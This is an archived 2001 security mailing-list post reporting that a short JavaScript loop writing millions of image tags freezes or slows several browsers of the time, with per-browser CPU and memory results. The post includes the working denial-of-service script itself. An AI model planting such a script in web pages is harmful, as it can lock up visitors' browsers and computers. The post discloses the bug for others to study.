Browsers fails on big image count

From: Pavel Titov (Pavel.Titov@mtu-net.ru)
Date: Tue Dec 11 2001 - 08:57:11 PST

  • Next message: Wietse Venema: "Re: [xforceat_private: ISSalert: ISS Advisory: Buffer Overflow in /bin/login]"

    Code
    
    <script>
    for(i=0;i<100000000;i++) {
       document.write("<img src=http://fakehost.com/"+i+".gif>");
    }
    </script>
    
    Browser reaction
    
    IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization 
    and very high disk utilization asks about stopping script. Small memory 
    leak (few Mb per minute).
    IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long,
    terminating task causes computer lockup.
    Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization 
    and big memory leak (bigger than 1Mb per second).
    Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very 
    fast. Big CPU utilization and very small memory leak (few hundreth 
    kilobytes per minute).
    
    -- 
    Pavel Titov
    Homepage: http://www.titov.pp.ru/
    Home gopherspace: gopher://paveltitov.virtualave.net:7070/
    



    This archive was generated by hypermail 2b30 : Wed Dec 12 2001 - 22:58:08 PST